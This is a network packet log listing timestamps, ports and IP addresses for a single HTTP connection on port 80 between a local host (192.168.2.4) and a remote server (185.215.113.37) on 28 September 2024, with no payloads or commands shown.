Sep 28, 2024 10:19:14.281008959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281043053 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281089067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281133890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281167984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281177998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281202078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281210899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281246901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281295061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281327009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281339884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281374931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281435013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281467915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281486034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281501055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281501055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281536102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281546116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281573057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281579971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281615019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281713009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281745911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281763077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281776905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281780005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281824112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281831980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281845093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281877041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281887054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.281912088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281945944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281977892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.281990051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282027006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282176018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282207966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282221079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282242060 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282249928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282284021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282299995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282335043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282346010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282367945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282396078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282419920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282434940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282480955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282581091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282613993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282645941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282656908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282680035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282689095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282716036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282721996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282751083 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282759905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282784939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282797098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282819033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282828093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282851934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282891989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.282895088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.282937050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283104897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283216000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283247948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283266068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283330917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283343077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283364058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283375025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283416033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283433914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283468008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283483982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283500910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283504963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283535004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283549070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283576012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283711910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283742905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283756971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283776999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283785105 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283809900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283826113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283849001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283854961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283883095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283890009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283916950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283950090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283961058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.283986092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.283992052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284127951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284199953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284231901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284255981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284264088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284265041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284298897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284306049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284332991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284343004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284367085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284411907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284413099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284446955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284457922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284478903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.284492016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.284518003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412229061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412287951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412295103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412324905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412338018 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412369013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412559032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412610054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412611961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412645102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412647963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412688971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412698984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412731886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412738085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412766933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412774086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412801027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412806034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412832022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412844896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412866116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412879944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412909031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412921906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412954092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.412966967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.412998915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413003922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413038969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413096905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413100958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413134098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413145065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413181067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413182974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413225889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413333893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413393974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413414955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413461924 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413465023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413510084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413584948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413619995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413629055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413654089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413687944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413700104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413722992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413729906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413769007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413835049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413866043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413897991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.413929939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413959026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.413996935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414052963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414053917 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414088011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414097071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414118052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414130926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414150953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414165020 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414185047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414186001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414218903 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414228916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414256096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414314985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414347887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414351940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414381981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414390087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414401054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414424896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414433002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414449930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414473057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414556026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414589882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414621115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414628029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414669037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414684057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414705038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414712906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414747953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414820910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414854050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414881945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414882898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414891958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414916992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414927006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414952040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414980888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.414983988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.414994955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415014029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415047884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415049076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415060043 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415085077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415129900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415309906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415342093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415354013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415379047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415399075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415426970 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415438890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415472984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415484905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415504932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415517092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415540934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415545940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415575027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415581942 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415610075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415618896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415652990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415738106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415770054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415802956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415815115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415836096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415863991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415872097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.415873051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.415915966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416115999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416147947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416158915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416181087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416189909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416214943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416220903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416249990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416259050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416300058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416304111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416337967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416371107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416388988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416404963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416409016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416438103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416449070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416472912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416476011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416517019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416836023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416868925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416892052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416903019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416912079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416937113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416944981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.416971922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.416975021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417006969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417010069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417041063 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417052031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417083979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417087078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417123079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417130947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417155981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417165041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417191029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417195082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417208910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417233944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417241096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417243958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417277098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417309999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417320967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417351007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417624950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417658091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417690992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417706966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417726040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417740107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417759895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417776108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417793989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417804003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.417830944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.417875051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682395935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682462931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682498932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682535887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682548046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682584047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682590961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682634115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682650089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682665110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682673931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682679892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682693958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682723045 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:14.682738066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:14.682784081 CEST	49730	80	192.168.2.4	185.215.113.37
